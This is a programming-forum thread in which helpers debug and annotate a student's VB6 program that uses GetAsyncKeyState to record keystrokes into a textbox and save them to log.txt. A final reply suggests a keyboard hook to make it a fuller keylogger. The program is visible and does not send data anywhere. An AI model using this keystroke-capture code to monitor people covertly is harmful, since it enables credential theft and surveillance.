hi, i was just wondering if there was anyone who can run through a small section of code for me and place remarks on each line, describing what the line of code does?
message me with your msn if you think you can help :)
Printable View
hi, i was just wondering if there was anyone who can run through a small section of code for me and place remarks on each line, describing what the line of code does?
message me with your msn if you think you can help :)
just post the code here. Someone will see it eventually. Also not all of the coder(z)s have (gag)msn (swallows bile again).
Dim blnlogging As Boolean
Private Sub cmdLog_Click()
cmdLog.Enabled = False
cmdStop.Enabled = True
blnlogging = True
Do While blnlogging = True
DoEvents
If GetAsyncKeyState(8) = -32767 Then
Text1 = Text1 & "[backspace]"
End If
If GetAsyncKeyState(9) = -32767 Then
Text1 = Text1 & "[tab]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[esc]"
End If
For i = 32 To 127 'logs in ascii order, not acurate
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
If GetAsyncKeyState(16) <= -32767 Then 'shift is pressed or held
Text1.Text = Text1.Text + UCase(Chr(i))
'checkshow Asc(UCase(Chr(i)))
Else
Text1.Text = Text1.Text + LCase(Chr(i))
'checkshow Asc(LCase(Chr(i)))
End If
If GetAsyncKeyState(13) = -32767 Then 'enterkey
Text1.Text = Text1.Text & vbCrLf
End If
End If
Next i
DoEvents
Loop
End Sub
Private Sub cmdStop_Click()
cmdLog.Enabled = True
cmdStop.Enabled = False
blnlogging = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
logging = False
Open App.Path & "\log.txt" For Append As #1
Print #1, Text1.Text
Close #1
End Sub
then in the module i have...
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
ok this is a basic setup. Getasynckeystate will read the current state of the keyboard one key at a time. I have to tell you i don't like the way this is written. If they used the correct data types they wouldn't have negative numbers. It also looks like it would only read the keypress every other keypress, because it is reading an absolute value for each key and only one bit of the read value indicates the current key position. The rest is toggle up/down, etc which change with each keypress. could you post that again inside some code tags? If you don't it is much harder to read because it kills the indents.
Code:Dim blnlogging As Boolean
Private Sub cmdLog_Click()
cmdLog.Enabled = False
cmdStop.Enabled = True
blnlogging = True
Do While blnlogging = True
DoEvents
If GetAsyncKeyState(8) = -32767 Then
Text1 = Text1 & "[backspace]"
End If
If GetAsyncKeyState(9) = -32767 Then
Text1 = Text1 & "[tab]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[esc]"
End If
For i = 32 To 127 'logs in ascii order, not acurate
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
If GetAsyncKeyState(16) <= -32767 Then 'shift is pressed or held
Text1.Text = Text1.Text + UCase(Chr(i))
'checkshow Asc(UCase(Chr(i)))
Else
Text1.Text = Text1.Text + LCase(Chr(i))
'checkshow Asc(LCase(Chr(i)))
End If
If GetAsyncKeyState(13) = -32767 Then 'enterkey
Text1.Text = Text1.Text & vbCrLf
End If
End If
Next i
DoEvents
Loop
End Sub
Private Sub cmdStop_Click()
cmdLog.Enabled = True
cmdStop.Enabled = False
blnlogging = False
End Sub
Private Sub Form_Unload(Cancel As Integer)
logging = False
Open App.Path & "\log.txt" For Append As #1
Print #1, Text1.Text
Close #1
End Sub
Code:Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
every line in that program that looks like this:
should be changed to thisCode:If GetAsyncKeyState(13) = -32767 Then
This will stop duplicates, and will be accurate as long as you call it often enough.Code:if (GetAsyncKeyState(13) AND 1) = 1 then
hmmm
you know a lot more than i do lol...
what i need is a remark at the end of each line explaining what it does. the code will be marked, and appropriate remarks need to be included to gain full marks for internal documentation...do you think you would be capable of doing that?
Edit that post and change vbcode to code. It won't cut and paste properly and it has line numbers that have to be erased.
done
Code:
Dim blnlogging As Boolean
'This global variable is used as a marker. If it is ever set to false, the program exits the loop
Private Sub cmdLog_Click()
cmdLog.Enabled = False ' disable the button you just clicked
cmdStop.Enabled = True 'enable the stop button
blnlogging = True 'assign a true value to this variable.
'this variable is used to exit the loop if it is ever set to false
Do While blnlogging = True 'see notes on blnlogging
DoEvents 'gives control to system. probably not necessary here. I would remove it.
'Notes on the implementation of GetAsyncKeyState:
'this api call will return both the current value of
'whatever key scancode is passed to it (in bit 15) as
'well as whether or not it has been pressed since last
'reading the key. This implementation only checks the
'last state in order to prevent key duplicates in the
'text box. This is accomplished by ANDing the return
'value of the call with 1, which filters out everything
'except the first bit.
If (GetAsyncKeyState(8) And 1) = 1 Then ' 8 is scancode for backspace
Text1 = Text1 & "[backspace]"
End If
If (GetAsyncKeyState(9) And 1) = 1 Then ' 9 is scancode for tab
Text1 = Text1 & "[tab]"
End If
If (GetAsyncKeyState(27) And 1) = 1 Then 'esc key
Text1 = Text1 & "[esc]"
End If
If (GetAsyncKeyState(13) And 1) = 1 Then 'enterkey (moved it- in old location it was being 128 times instead of once per loop)
Text1.Text = Text1.Text & vbCrLf
End If
'the following For Next loop sends every scan code to
'getasynckeystate one at a time.
For i = 32 To 127 'logs in ascii order, not acurate
result = 0 'not important. Could probably remove
result = GetAsyncKeyState(i)
If (result And 1) = 1 Then 'see above note on implementation
If GetAsyncKeyState(16) > 0 Then 'shift is pressed or held
'read differently to take into account holding it down.
Text1.Text = Text1.Text + UCase(Chr(i)) 'makes character upper case before adding it to box
Else
Text1.Text = Text1.Text + LCase(Chr(i)) 'shift isn't pressed, so make it lower case
End If
End If
Next i
If DoEvents = 0 Then Exit Do 'doevents gives control to system, and returns a value equal to # of open forms
'if 0 forms open, it assumes you closed program and exits the loop
Loop
End Sub
Private Sub cmdStop_Click()
cmdLog.Enabled = True 'turns on a button
cmdStop.Enabled = False ' disable the button you just clicked
blnlogging = False ' used to exit the do/loop above
End Sub
Private Sub Form_Unload(Cancel As Integer)
blnlogging = False 'this variable shuts off the do loop
Open App.Path & "\log.txt" For Append As #1 ' output file is opened to add data to the end of it
Print #1, Text1.Text ' outputs the text in text1 to the output file opened in the previous line
Close #1 ' closes the opened file
End Sub
Note, even if you switch back the code changes, I corrected a major dangerous glaring code error.
When your form unloads in your old code, it resets a non-existend variable to false. It should have been setting blnlogging to false.
This mistake will prevent the program from ever actually closing.
Change #2: The check for the enter key is in the wrong place. i moved it. It doesn't belong inside the for loop. This is a major performance and accuracy hit for the entire program.
ok sounds good, ill add that code into the program and test it out, ill get back to you in about 10 mins
ok heres a few questions on what you've done -
Text1.Text = Text1.Text & vbCrLf
what does the vbCrLf mean in this line?
why arent escape, enter and tab included in the for next loop, and when i press those keys, they arent printed in the text box, is this because they are separate to what is in the for next loop?
vbcrlf = "you pressed the enter key" it tells the textbox to start a new line. I didn't actually do that. It was already there.
It doesn't type "enter", it actually starts a new line. All of your checking is in a do:loop so they are in a loop too. If it isn't recording them in the textbox when you press them, then the checking is flawed for them. Change their check back to the way you had it.
ok thanks, ill come back here in a few days if i need anymore help, much appreciated :D
thank me by voting for me in the most popular member contest thread :D by the way you must have 20 posts or more for your ratings you give to be worth anything. But thanks anyway :)
consider it done!
in this code the program dose not recognize the shift, controll, alt,...... buttons
so? Add them. They have constants just like the enter key does. Note that it will be very hard to determine if the ctrl or shift key is actually still pressed when you check another letter with this program. Your only option to make this 100% is to hook the keyboard. A side effect of a keyboard hook is that you don't need to call the code in a timer. It will be called automatically with each keypress.
check out this forum page:
http://www.vbforums.com/showpost.php...10&postcount=4
you can easily make this into a keylogger by adding the code in the KeybCallback function. most virtual keys are equal to ascii codes so the coding is pretty straightforward.